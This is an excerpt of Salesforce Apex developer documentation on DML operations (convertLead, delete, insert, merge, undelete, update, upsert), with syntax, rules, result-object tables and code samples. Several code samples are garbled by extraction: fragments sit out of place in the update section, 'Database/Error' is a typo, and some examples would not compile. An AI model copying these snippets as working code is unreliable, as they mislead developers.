Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

---

1 `convertLead` is only available as a database method.
2 `merge` is only available as an Apex DML statement.
**ConvertLead Operation**

The `convertLead` DML operation converts a lead into an account and contact, as well as (optionally) an opportunity.

*Note: `convertLead` is only available as a database method.*

**Database Method Syntax**

- `LeadConvertResult Database.convertLead(LeadConvert leadToConvert, Boolean opt_allOrNone)`
- `LeadConvertResult[] Database.convertLead(LeadConvert[] leadsToConvert, Boolean opt_allOrNone)`

The optional `opt_allOrNone` parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

**Rules and Guidelines**

When converting leads, consider the following rules and guidelines:

- **Field mappings:** The system automatically maps standard lead fields to standard account, contact, and opportunity fields. For custom lead fields, your Salesforce administrator can specify how they map to custom account, contact, and opportunity fields. For more information about field mappings, see the Salesforce online help.
- **Merged fields:** If data is merged into existing account and contact objects, only empty fields in the target object are overwritten—existing data (including IDs) are not overwritten. The only exception is if you specify `setOverwriteLeadSource` on the `LeadConvert` object to true, in which case the `LeadSource` field in the target contact object is overwritten with the contents of the `LeadSource` field in the source `LeadConvert` object.
- **Record types:** If the organization uses record types, the default record type of the new owner is assigned to records created during lead conversion. The default record type of the user converting the lead determines the lead source values available during conversion. If the desired lead source values are not available, add the values to the default record type of the user converting the lead. For more information about record types, see the Salesforce online help.
- **Picklist values:** The system assigns the default picklist values for the account, contact, and opportunity when mapping any standard lead picklist fields that are blank. If your organization uses record types, blank values are replaced with the default picklist values of the new record owner.
- **Automatic feed subscriptions:** When you convert a lead into an account, contact, and (optionally) an opportunity, the owner of the generated records is automatically subscribed and the lead owner is unsubscribed from the lead record. Any users that were subscribed to the lead are now subscribed to the generated records and unsubscribed from the lead. This means that the lead owner and other users that were subscribed to the lead see any changes to the account, contact, and opportunity records in their news feed. The subscription occurs unless the user has selected the `Stop automatically following records` checkbox in `Your Name ➤ Setup ➤ My Chatter Settings ➤ My Feeds`. A user can subscribe to a record so that changes to the record are displayed in the news feed on the user’s home page. This is a useful way to stay up-to-date with changes to records in Salesforce.

**Basic Steps for Converting Leads**

Converting leads involves the following basic steps:

1. Your application determines the IDs of any lead(s) to be converted.
2. Optionally, your application determines the IDs of any account(s) into which to merge the lead. Your application can use SOQL to search for accounts that match the lead name, as in the following example:

   ```sql
   select id, name from account where name='CompanyNameOfLeadBeingMerged'
   ```
3. Optionally, your application determines the IDs of the contact or contacts into which to merge the lead. The application can use SOQL to search for contacts that match the lead contact name, as in the following example:

```sql
select id, name from contact where firstName='FirstName' and lastName='LastName' and accountId = '001...'
```

4. Optionally, the application determines whether opportunities should be created from the leads.
5. The application queries the LeadSource table to obtain all of the possible converted status options (SELECT ... FROM LeadStatus WHERE Is Converted='1'), and then selects a value for the converted status.
6. The application calls convertLead.
7. The application iterates through the returned result or results and examines each LeadConvertResult object to determine whether conversion succeeded for each lead.
8. Optionally, when converting leads owned by a queue, the owner must be specified. This is because accounts and contacts cannot be owned by a queue. Even if you are specifying an existing account or contact, you must still specify an owner.

### LeadConvert Object Methods

The `convertLead` database method accepts up to 100 LeadConvert objects. A LeadConvert object supports the following methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getAccountId</td>
<td>ID</td>
<td>ID</td>
<td>Gets the ID of the account into which the lead will be merged.</td>
</tr>
<tr>
<td>getContactId</td>
<td>ID</td>
<td>ID</td>
<td>Gets the ID of the contact into which the lead will be merged.</td>
</tr>
<tr>
<td>getConvertedStatus</td>
<td>String</td>
<td>String</td>
<td>Get the lead status value for a converted lead</td>
</tr>
<tr>
<td>getLeadID</td>
<td>ID</td>
<td>ID</td>
<td>Get the ID of the lead to convert.</td>
</tr>
<tr>
<td>getOpportunityName</td>
<td>String</td>
<td>String</td>
<td>Get the name of the opportunity to create.</td>
</tr>
<tr>
<td>getOwnerId</td>
<td>ID</td>
<td>ID</td>
<td>Get the ID of the person to own any newly created account, contact, and opportunity.</td>
</tr>
<tr>
<td>isDoNotCreateOpportunity</td>
<td>Boolean</td>
<td>Boolean</td>
<td>Indicates whether an Opportunity is created during lead conversion (false, the default) or not (true).</td>
</tr>
<tr>
<td>isOverWriteLeadSource</td>
<td>Boolean</td>
<td>Boolean</td>
<td>Indicates whether the LeadSource field on the target Contact object is overwritten with the contents of the LeadSource field in the source Lead object (true), or not (false, the default).</td>
</tr>
<tr>
<td>isSendNotificationEmail</td>
<td>Boolean</td>
<td>Boolean</td>
<td>Indicates whether a notification email is sent to the owner specified by setOwnerId (true) or not (false, the default).</td>
</tr>
<tr>
<td>setAccountId</td>
<td>ID ID</td>
<td>Void</td>
<td>Sets the ID of the account into which the lead will be merged. This value is required only when updating an existing account, including person accounts. Otherwise, if setAccountId is specified, a new account is created.</td>
</tr>
<tr>
<td>setContactId</td>
<td>ID ID</td>
<td>Void</td>
<td>Sets the ID of the contact into which the lead will be merged. This contact must be associated with the account specified with setAccountId, and setAccountId must be specified. This value is required only when updating an existing contact.</td>
</tr>
</tbody>
</table>
**Important:** If you are converting a lead into a person account, do not specify `setContactId` or an error will result. Specify only `setAccountId` of the person account.

If `setContactId` is specified, then the application creates a new contact that is implicitly associated with the account. The contact name and other existing data are not overwritten (unless `setOverwriteLeadSource` is set to true, in which case only the `LeadSource` field is overwritten).

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>setConvertedStatus</code></td>
<td><code>String Status</code></td>
<td>Void</td>
<td>Sets the lead status value for a converted lead. This field is required.</td>
</tr>
<tr>
<td><code>setDoNotCreateOpportunity</code></td>
<td><code>Boolean</code></td>
<td>Void</td>
<td>Specifies whether to create an opportunity during lead conversion. The default value is <code>false</code>. Opportunities are created by default. Set this flag to <code>true</code> only if you do not want to create an opportunity from the lead.</td>
</tr>
<tr>
<td><code>setLeadId</code></td>
<td><code>ID ID</code></td>
<td>Void</td>
<td>Sets the ID of the lead to convert. This field is required.</td>
</tr>
<tr>
<td><code>setOpportunityName</code></td>
<td><code>String OppName</code></td>
<td>Void</td>
<td>Sets the name of the opportunity to create. If no name is specified, this value defaults to the company name of the lead. The maximum length of this field is 80 characters. If <code>setDoNotCreateOpportunity</code> is true, no Opportunity is created and this field must be left blank; otherwise, an error is returned.</td>
</tr>
<tr>
<td><code>setOverwriteLeadSource</code></td>
<td><code>Boolean</code></td>
<td>Void</td>
<td>Specifies whether to overwrite the <code>LeadSource</code> field on the target contact object with the contents of the <code>LeadSource</code> field in the source lead object. The default value is false, to not overwrite the field. If you specify this as true, you must also specify <code>setContactId</code> for the target contact.</td>
</tr>
<tr>
<td><code>setOwnerId</code></td>
<td><code>ID ID</code></td>
<td>Void</td>
<td>Specifies the ID of the person to own any newly created account, contact, and opportunity. If the application does not specify this value, the owner of the new object will be the owner of the lead. This method is not applicable when merging with existing objects—if <code>setOwnerId</code> is specified, the <code>ownerId</code> field is not overwritten in an existing account or contact.</td>
</tr>
<tr>
<td><code>setSendNotificationEmail</code></td>
<td><code>Boolean</code></td>
<td>Void</td>
<td>Specifies whether to send a notification email to the owner specified by <code>setOwnerId</code>. The default value is false, that is, not to send email.</td>
</tr>
</tbody>
</table>

**LeadConvertResult Object**

An array of LeadConvertResult objects is returned with the `convertLead` database method. Each element in the LeadConvertResult array corresponds to the SObject array passed as the `SObject[]` parameter in the `convertLead` database method, that is, the first element in the LeadConvertResult array matches the first element passed in the SObject array, the second element corresponds with the second element, and so on. If only one SObject is passed in, the LeadConvertResults array contains a single element.

A LeadConvertResult object has the following methods:
### Database Method Example

```java
Lead myLead = new Lead(lastname = 'Fry', company='Fry And Sons');
insert myLead;

Database.LeadConvert lc = new database.LeadConvert();
lc.setLeadId(myLead.id);

LeadStatus convertStatus = [Select Id, MasterLabel from LeadStatus where IsConverted=true limit 1];
lc.setConvertedStatus(convertStatus.MasterLabel);

Database.LeadConvertResult lcr = Database.convertLead(lc);
System.assert(lcr.isSuccess());
```

### Delete Operation

The `delete` DML operation deletes one or more existing sObject records, such as individual accounts or contacts, from your organization’s data. `delete` is analogous to the `delete()` statement in the Web services API.

#### DML Statement Syntax

```
delete sObject | Record.ID
```

#### Database Method Syntax

- `DeleteResult Database.Delete((sObject recordToDelete | RecordID ID), Boolean opt_allOrNone)`
- `DeleteResult[] Database.Delete((sObject[] recordsToDelete | RecordIDs LIST<>IDs{}), Boolean opt_allOrNone)`

The optional `opt_allOrNone` parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

#### Rules and Guidelines

When deleting sObject records, consider the following rules and guidelines:
- To ensure referential integrity, delete supports cascading deletions. If you delete a parent object, you delete its children automatically, as long as each child record can be deleted.

  For example, if you delete a case record, Apex automatically deletes any CaseComment, CaseHistory, and CaseSolution records associated with that case. However, if a particular child record is not deletable or is currently being used, then the delete operation on the parent case record fails.

- Certain sObjects cannot be deleted. To delete an sObject record, the deletable property of the sObject must be set to true. Also, see sObjects That Do Not Support DML Operations on page 234.

- You can pass a maximum of 10,000 sObject records to a single delete method.

**DeleteResult Object**

An array of Database.DeleteResult objects is returned with the delete database method. Each element in the DeleteResult array corresponds to the sObject array passed as the sObject[] parameter in the delete database method, that is, the first element in the DeleteResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the DeleteResults array contains a single element.

A Database.DeleteResult object has the following methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getErrors</td>
<td>Database.Error[]</td>
<td>If an error occurred, an array of one or more database error objects providing the error code and description. For more information, see Database Error Object Methods on page 304.</td>
</tr>
<tr>
<td>getId</td>
<td>ID</td>
<td>The ID of the sObject you were trying to delete. If this field contains a value, the object was successfully deleted. If this field is empty, the operation was not successful for that object.</td>
</tr>
<tr>
<td>isSuccess</td>
<td>Boolean</td>
<td>A Boolean value that is set to true if the DML operation was successful for this object, false otherwise</td>
</tr>
</tbody>
</table>

**DML Statement Example**

The following example deletes an account named 'DotCom':

```java
Account[] doomedAccts = [select id, name from account where name = 'DotCom'];
try {
    delete doomedAccts;
} catch (DmlException e) {
    // Process exception here
}
```

**Note:** For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 236.

**Database Method Example**

The following example deletes an account named 'DotCom':

```java
public class DmlTest {
    Account[] doomedAccts = [select id, name from account where name = 'DotCom'];
    Database.DeleteResult[] DR_Dels = Database.delete(doomedAccts);
}
```
Insert Operation

The `insert` DML operation adds one or more sObjects, such as individual accounts or contacts, to your organization's data. `insert` is analogous to the INSERT statement in SQL.

DML Statement Syntax

```
insert sObject
insert sObject[]
```

Database Method Syntax

```
• SaveResult Database.insert(sObject recordToInsert, Boolean opt_allOrNone | database.DMLOptions opt_DMLOptions)
• SaveResult[] Database.insert(sObject[] recordsToInsert, Boolean opt_allOrNone | database.DMLOptions opt_DMLOptions)
```

The optional `opt_allOrNone` parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

For example:

```
Database.SaveResult[] MySaveResult = Database.Insert(MyAccounts, false);
```

The optional `opt_DMLOptions` parameter specifies additional data for the transaction, such as assignment rule information or truncation behavior.

For example:

```
//AssignmentRuleHeader
//UseDefaultRule
database.DMLOptions dmo = new database.DMLOptions();
dmo.AssignmentRuleHeader.UseDefaultRule= true;
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
```

For more information, see Database DMLOptions Methods on page 301.

Rules and Guidelines

When inserting sObject records, consider the following rules and guidelines:

- Certain sObjects cannot be created. To create an sObject record, the `createable` property of the sObject must be set to true.
- You must supply a non-null value for all required fields.
- You can pass a maximum of 10,000 sObject records to a single `insert` method.
- The `insert` statement automatically sets the ID value of all new sObject records. Inserting a record that already has an ID—and therefore already exists in your organization's data—produces an error. See Lists on page 34 for information.
- The `insert` statement can only set the foreign key ID of related sObject records. Fields on related records cannot be updated with `insert`. For example, if inserting a new contact, you can specify the contact's related account record by setting the value of the `AccountId` field. However, you cannot change the account's name without updating the account itself with a separate DML call.
• The `insert` statement is not supported with some sObjects. See sObjects That Do Not Support DML Operations on page 234.
• This operation checks each batch of records for duplicate ID values. If there are duplicates, the first five are processed. For the sixth and all additional duplicate IDs, the SaveResult for those entries is marked with an error similar to the following: Maximum number of duplicate updates in one batch (5 allowed). Attempt to update Id more than once in this API call: number_of_attempts.

**SaveResult Object**

An array of SaveResult objects is returned with the `insert` and `update` database methods. Each element in the SaveResult array corresponds to the sObject array passed as the `sObject[]` parameter in the database method, that is, the first element in the SaveResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the SaveResults array contains a single element.

A SaveResult object has the following methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getErrors</td>
<td>Database.Error[]</td>
<td>If an error occurred, an array of one or more database error objects providing the error code and description. For more information, see Database Error Object Methods on page 304.</td>
</tr>
<tr>
<td>getId</td>
<td>ID</td>
<td>The ID of the sObject you were trying to insert or update. If this field contains a value, the object was successfully inserted or updated. If this field is empty, the operation was not successful for that object.</td>
</tr>
<tr>
<td>isSuccess</td>
<td>Boolean</td>
<td>A Boolean that is set to true if the DML operation was successful for this object, false otherwise.</td>
</tr>
</tbody>
</table>

**DML Statement Example**

The following example inserts an account named 'Acme':

```java
Account newAcct = new Account(name = 'Acme');
try {
    insert newAcct;
} catch (DmlException e) {
    // Process exception here
}
```

*Note:* For more information on processing `DmlExceptions`, see Bulk DML Exception Handling on page 236.

**Database Method Example**

The following example inserts an account named 'Acme':

```java
Account a = new Account(name = 'Acme');
Database.SaveResult[] lsr = Database.insert(new Account[]{a, new Account(name = 'Acme')},
```
false);

// Iterate through the Save Results
for (Database.SaveResult sr: lsr) {
    if (!sr.isSuccess())
        Database/Error err = sr.getErrors()[0];
}

**Merge Statement**

The **merge** statement merges up to three records of the same sObject type into one of the records, deleting the others, and re-parenting any related records.

**Note:** This DML operation does not have a matching database system method.

**Syntax**

```mermaid
merge sObject sObject
merge sObject sObject[]
merge sObject ID
merge sObject ID[]
```

The first parameter represents the master record into which the other records are to be merged. The second parameter represents the one or two other records that should be merged and then deleted. You can pass these other records into the **merge** statement as a single sObject record or ID, or as a list of two sObject records or IDs.

**Rules and Guidelines**

When merging sObject records, consider the following rules and guidelines:

- Only leads, contacts, and accounts can be merged. See sObjects That Do Not Support DML Operations on page 234.
- You can pass a master record and up to two additional sObject records to a single **merge** method.

For more information on merging leads, contacts and accounts, see the Salesforce online help.

**Example**

The following example merges two accounts named 'Acme Inc.' and 'Acme' into a single record:

```java
List<Account> ls = new List<Account>({new Account(name='Acme Inc.'), new Account(name='Acme')});
insert ls;
Account masterAcct = [select id, name from account where name = 'Acme Inc.' limit 1];
Account mergeAcct = [select id, name from account where name = 'Acme' limit 1];
try {
    merge masterAcct mergeAcct;
} catch (DmlException e) {
    // Process exception here
}
```

**Note:** For more information on processing **DmlExceptions**, see Bulk DML Exception Handling on page 236.
Undelete Operation

The undelete DML operation restores one or more existing sObject records, such as individual accounts or contacts, from your organization's Recycle Bin. undelete is analogous to the UNDELETE statement in SQL.

DML Statement Syntax

undelete sObject | Record.ID

undelete sObject[] | LIST<>ID[]

Database Method Syntax

- UndeleteResult Database.Undelete((sObject recordToUndelete | RecordID ID), Boolean opt_allOrNone)
- UndeleteResult[] Database.Undelete((sObject[] recordsToUndelete | RecordIDs LIST<>IDs{}), Boolean opt_allOrNone)

The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

Rules and Guidelines

When undeleting sObject records, consider the following rules and guidelines:

- To ensure referential integrity, undelete restores the record associations for the following types of relationships:
  - Parent accounts (as specified in the Parent Account field on an account)
  - Parent cases (as specified in the Parent Case field on a case)
  - Master solutions for translated solutions (as specified in the Master Solution field on a solution)
  - Managers of contacts (as specified in the Reports To field on a contact)
  - Products related to assets (as specified in the Product field on an asset)
  - Opportunities related to quotes (as specified in the Opportunity field on a quote)
  - All custom lookup relationships
  - Relationship group members on accounts and relationship groups, with some exceptions
  - Tags
  - An article's categories, publication state, and assignments

  **Note:** Salesforce only restores lookup relationships that have not been replaced. For example, if an asset is related to a different product prior to the original product record being undeleted, that asset-product relationship is not restored.

- Certain sObjects cannot be undeleted. To verify if an sObject record can be undeleted, check that the undeletable property of the sObject is set to true.
- You can pass a maximum of 10,000 sObject records to a single undelete method.
- You can undelete records that were deleted as the result of a merge, but the child objects will have been re-parented, which cannot be undone.
- Use the ALL ROWS parameters with a SOQL query to identify deleted records, including records deleted as a result of a merge. See Querying All Records with a SOQL Statement on page 63.
- Undelete is not supported with some sObjects. See sObjects That Do Not Support DML Operations on page 234.
UndeleteResult Object

An array of Database.UndeleteResult objects is returned with the `undelete` database method. Each element in the UndeleteResult array corresponds to the sObject array passed as the `sObject[]` parameter in the `undelete` database method, that is, the first element in the UndeleteResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the UndeleteResults array contains a single element.

An undeleteResult object has the following methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getErrors</td>
<td>Database.Error[]</td>
<td>If an error occurred, an array of one or more database error objects providing the error code and description. For more information, see Database Error Object Methods on page 304.</td>
</tr>
<tr>
<td>getId</td>
<td>ID</td>
<td>The ID of the sObject you were trying to undelete. If this field contains a value, the object was successfully undeleted. If this field is empty, the operation was not successful for that object.</td>
</tr>
<tr>
<td>isSuccess</td>
<td>Boolean</td>
<td>A Boolean value that is set to true if the DML operation was successful for this object, false otherwise</td>
</tr>
</tbody>
</table>

DML Statement Example

The following example undeletes an account named 'Trump'. The `ALL ROWS` keyword queries all rows for both top level and aggregate relationships, including deleted records and archived activities.

```java
Account a = new Account(name='AC1');
insert(a);
insert(new Contact(lastName='Carter',accountId=a.id));
Account[] savedAccts = [select id, name from account where name = 'Trump' ALL ROWS];
try {
    undelete savedAccts;
} catch (DmlException e) {
    // Process exception here
}
```

**Note:** For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 236.

Database Method Example

The following example undeletes an account named 'Trump'. The `ALL ROWS` keyword queries all rows for both top level and aggregate relationships, including deleted records and archived activities.

```java
public class DmlTest2 {
    public void undeleteExample() {
        Account[] SavedAccts = [select id, name from account where name = 'Trump' ALL ROWS];
        Database.UndeleteResult[] UDR_Dels = Database.undelete(SavedAccts);
    }
}
```
Update Operation

The update DML operation modifies one or more existing sObject records, such as individual accounts or contacts, in your organization's data. update is analogous to the UPDATE statement in SQL.

DML Statement Syntax

```
update sObject
update sObject[]
```

Database Method Syntax

- `UpdateResult Update(sObject recordToUpdate, Boolean opt_allOrNone | database.DMLOptions opt_DMLOptions)`
- `UpdateResult[] Update(sObject[] recordsToUpdate[, Boolean opt_allOrNone | database.DMLOptions opt_DMLOptions])`

The optional `opt_allOrNone` parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

The optional `opt_DMLOptions` parameter specifies additional data for the transaction, such as assignment rule information or truncation behavior.

For more information, see Database DMLOptions Methods on page 301.

Rules and Guidelines

When updating sObject records, consider the following rules and guidelines:

- Certain sObjects cannot be updated. To update an sObject record, the `updateable` property of the sObject must be set to true.
- When updating required fields you must supply a non-null value.
- Unlike the Web services API, Apex allows you to change field values to `null` without updating the `fieldsToNull` array on the sObject record. The API requires an update to this array due to the inconsistent handling of `null` values by many SOAP providers. Because Apex runs solely on the Force.com platform, this workaround is unnecessary.
- The ID of an updated sObject record cannot be modified, but related record IDs can.
- This operation checks each batch of records for duplicate ID values. If there are duplicates, the first five are processed. For the sixth and all additional duplicate IDs, the SaveResult for those entries is marked with an error similar to the following: Maximum number of duplicate updates in one batch (5 allowed). Attempt to update Id more than once in this API call: `number_of_attempts`.
- The `update` statement automatically modifies the values of certain fields such as `LastModifiedDate`, `LastModifiedById`, and `SystemModstamp`. You cannot explicitly specify these values in your Apex.
- You can pass a maximum of 10,000 sObject records to a single `update` method.
- A single `update` statement can only modify one type of sObject at a time. For example, if updating an account field through an existing contact that has also been modified, two `update` statements are required:

```java
for(integer i =0; i< 10; i++)
    if(UDR_Dels[i].getErrors().size()>0){
        // Process any errors here
    }
}
```
where lastName = 'Carter' limit 1];
// Now we can change fields for both the contact and its
// associated account
c.account.name = 'salesforce.com';
c.lastName = 'Roth';

// To update the database, the two types of records must be
// updated separately
update c;  // This only changes the contact's last name
update c.account;  // This updates the account name

- Update is not supported with some sObjects. See sObjects That Do Not Support DML Operations on page 234.

SaveResult Object
An array of SaveResult objects is returned with the insert and update database methods. Each element in the SaveResult array corresponds to the sObject array passed as the sObject[] parameter in the database method, that is, the first element in the SaveResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the SaveResults array contains a single element.

A SaveResult object has the following methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getErrors</td>
<td>Database.Error []</td>
<td>If an error occurred, an array of one or more database error objects providing the error code and description. For more information, see Database Error Object Methods on page 304.</td>
</tr>
<tr>
<td>getId</td>
<td>ID</td>
<td>The ID of the sObject you were trying to insert or update. If this field contains a value, the object was successfully inserted or updated. If this field is empty, the operation was not successful for that object.</td>
</tr>
<tr>
<td>isSuccess</td>
<td>Boolean</td>
<td>A Boolean that is set to true if the DML operation was successful for this object, false otherwise.</td>
</tr>
</tbody>
</table>

DML Statement Example
The following example updates the billingcity field on a single account named 'Acme':

Account a = new Account(name='Acme2');
insert(a);

Account myAcct = [select id, name, billingcity from account where name = 'Acme2' limit 1];
myAcct.billingcity = 'San Francisco';
try {
  update myAcct;
} catch (DmlException e) {
  // Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 236.

Database Method Example

The following example updates the billingcity field on a single account named 'Acme':

```java
Account myAcct = [select id, name, billingcity from account limit 1];
myAcct.billingcity = 'San Francisco';

Database.SaveResult SR = database.update(myAcct);
for (Database.Error err: SR.getErrors())
{
    // process any errors here
}
```

Upsert Operation

The `upsert` DML operation creates new sObject records and updates existing sObject records within a single statement, using an optional custom field to determine the presence of existing objects.

DML Statement Syntax

```java
upsert sObject opt_external_id
upsert sObject[] opt_external_id
```

`opt_external_id` is an optional variable that specifies the custom field that should be used to match records that already exist in your organization's data. This custom field must be created with the `External Id` attribute selected. Additionally, if the field does not have the `Unique` attribute selected, the context user must have the “View All” object-level permission for the target object or the “View All Data” permission so that `upsert` does not accidentally insert a duplicate record.

If `opt_external_id` is not specified, the sObject record's ID field is used by default.

Note: Custom field matching is case-insensitive only if the custom field has the `Unique` and Treat "ABC" and "abc" as duplicate values (case insensitive) attributes selected as part of the field definition. If this is the case, “ABC123” is matched with “abc123.” For more information, see “Creating Custom Fields” in the Salesforce online help.

Database Method Syntax

- `UpsertResult Database.Upsert(sObject recordToUpsert, Schema.SObjectField External_ID_Field, Boolean opt_allOrNone)`
- `UpsertResult[] Database.Upsert(sObject[] recordsToUpsert, Schema.SObjectField External_ID_Field, Boolean opt_allOrNone)`

The optional `External_ID_Field` parameter is an optional variable that specifies the custom field that should be used to match records that already exist in your organization's data. This custom field must be created with the `External Id` attribute selected. Additionally, if the field does not have the `Unique` attribute selected, the context user must have the “View All” object-level permission for the target object or the “View All Data” permission so that `upsert` does not accidentally insert a duplicate record.

The `External_ID_Field` is of type `Schema.SObjectField`, that is, a field token. Find the token for the field by using the `fields` special method. For example, `Schema.SObjectField f = Account.Fields.MyExternalId`.

If `External_ID_Field` is not specified, the sObject record's ID field is used by default.
Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc" as duplicate values (case insensitive) attributes selected as part of the field definition. If this is the case, “ABC123” is matched with “abc123.” For more information, see “Creating Custom Fields” in the Salesforce online help.

The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why.

**How Upsert Chooses to Insert or Update**

Upsert uses the sObject record’s primary key (or the external ID, if specified) to determine whether it should create a new object record or update an existing one:

- If the key is not matched, then a new object record is created.
- If the key is matched once, then the existing object record is updated.
- If the key is matched multiple times, then an error is generated and the object record is neither inserted or updated.

**Rules and Guidelines**

When upserting sObject records, consider the following rules and guidelines:

- Certain sObjects cannot be inserted or updated. To insert an sObject record, the createable property of the sObject must be set to true. To update an sObject record, the updateable property of the sObject must be set to true.
- You must supply a non-null value for all required fields on any record that will be inserted.
- The ID of an sObject record cannot be modified, but related record IDs can. This action is interpreted as an update.
- The upsert statement automatically modifies the values of certain fields such as LastModifiedDate, LastModifiedById, and SystemModstamp. You cannot explicitly specify these values in your Apex.
- Each upsert statement consists of two operations, one for inserting records and one for updating records. Each of these operations is subject to the runtime limits for insert and update, respectively. For example, if you upsert more than 10,000 records and all of them are being updated, you receive an error. (See Understanding Execution Governors and Limits on page 188)
- The upsert statement can only set the ID of related sObject records. Fields on related records cannot be modified with upsert. For example, if updating an existing contact, you can specify the contact’s related account record by setting the value of the AccountId field. However, you cannot change the account’s name without updating the account itself with a separate DML statement.
- Upsert is not supported with some sObjects. See sObjects That Do Not Support DML Operations on page 234.
- You can use foreign keys to upsert sObject records if they have been set as reference fields. For more information, see http://www.salesforce.com/us/developer/docs/api/index_CSH.htm#field_types.htm in the Web Services API Developer's Guide.

**UpsertResult Object**

An array of Database.UpsertResult objects is returned with the upsert database method. Each element in the UpsertResult array corresponds to the sObject array passed as the sObject[] parameter in the upsert database method, that is, the first element in the UpsertResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the UpsertResults array contains a single element.

An UpsertResult object has the following methods:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getErrors</td>
<td>Database.Error []</td>
<td>If an error occurred, an array of one or more database error objects providing the error code and description. For more</td>
</tr>
<tr>
<td>Name</td>
<td>Type</td>
<td>Description</td>
</tr>
<tr>
<td>------------</td>
<td>-------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>getId</td>
<td>ID</td>
<td>The ID of the sObject you were trying to update or insert. If this field contains a value, the object was successfully updated or inserted. If this field is empty, the operation was not successful for that object.</td>
</tr>
<tr>
<td>isCreated</td>
<td>Boolean</td>
<td>A Boolean value that is set to true if the record was created, false if the record was updated.</td>
</tr>
<tr>
<td>isSuccess</td>
<td>Boolean</td>
<td>A Boolean value that is set to true if the DML operation was successful for this object, false otherwise.</td>
</tr>
</tbody>
</table>

### DML Statement Examples

The following example updates the city name for all existing accounts located in the city formerly known as Bombay, and also inserts a new account located in San Francisco:

```
Account[] acctsList = [select id, name, billingcity from account where billingcity = 'Bombay'];
for (Account a : acctsList) {
    a.billingcity = 'Mumbai';
}
Account newAcct = new Account(name = 'Acme', billingcity = 'San Francisco');
acctsList.add(newAcct);
try {
    upsert acctsList;
} catch (DmlException e) {
    // Process exception here
}
```

**Note:** For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 236.

This next example uses upsert and an external ID field Line_Item_Id__c on the Asset object to maintain a one-to-one relationship between an asset and an opportunity line item. Use of upsert with an external ID can reduce the number of DML statements in your code, and help you to avoid hitting governor limits (see Understanding Execution Governors and Limits on page 188).

**Note:** This example requires the addition of a custom text field on the Asset object named Line_Item_Id__c. This field must be flagged as an external ID. For information on custom fields, see the Salesforce online help.

```
public void upsertExample() {
    Opportunity opp = [Select Id, Name, AccountId,
                       (Select Id, PricebookEntry.Product2Id, PricebookEntry.Name
                        From OpportunityLineItems)
                       From Opportunity
                       Where HasOpportunityLineItem = true
                       Limit 1];
```
DML Statement Example

The following is an example that uses the database upsert method:

```java
/* This class demonstrates and tests the use of the * partial processing DML operations */
public class dmlSamples {
    /* This method accepts a collection of lead records and * creates a task for the owner(s) of any leads that were * created as new, that is, not updated as a result of the upsert * operation */
    public static List<Database.upsertResult> upsertLeads(List<Lead> leads) {
        /* Perform the upsert. In this case the unique identifier for the * insert or update decision is the Salesforce record ID. If the * record ID is null the row will be inserted, otherwise an update * will be attempted. */
        List<Database.upsertResult> uResults = Database.upsert(leads,false);

        /* This is the list for new tasks that will be inserted when new * leads are created. */
        List<Task> tasks = new List<Task>();
        for(Database.upsertResult result:uResults) {
            if (result.isSuccess() && result.isCreated())
                tasks.add(new Task(subject = 'Follow-up', whoId = result.getId()));
        }

        /* If there are tasks to be inserted, insert them */
        Database.insert(tasks);
        return uResults;
    }

    public static testMethod void testUpsertLeads() {
        /* We only need to test the insert side of upsert */
        List<Lead> leads = new List<Lead>();

        /* Create a set of leads for testing */
        for(Integer i = 0; i < 100; i++) {
            leads.add(new Lead(lastName = 'testLead', company = 'testCompany'));
        }
```
/* Switch to the runtime limit context */
Test.startTest();

/* Exercise the method */
List<Database.upsertResult> results = DmlSamples.upsertLeads(leads);

/* Switch back to the test context for limits */
Test.stopTest();

/* ID set for asserting the tasks were created as expected */
Set<Id> ids = new Set<Id>();

/* Iterate over the results, asserting success and adding the new ID to the set for use in the comprehensive assertion phase below. */
for(Database.upsertResult result:results) {
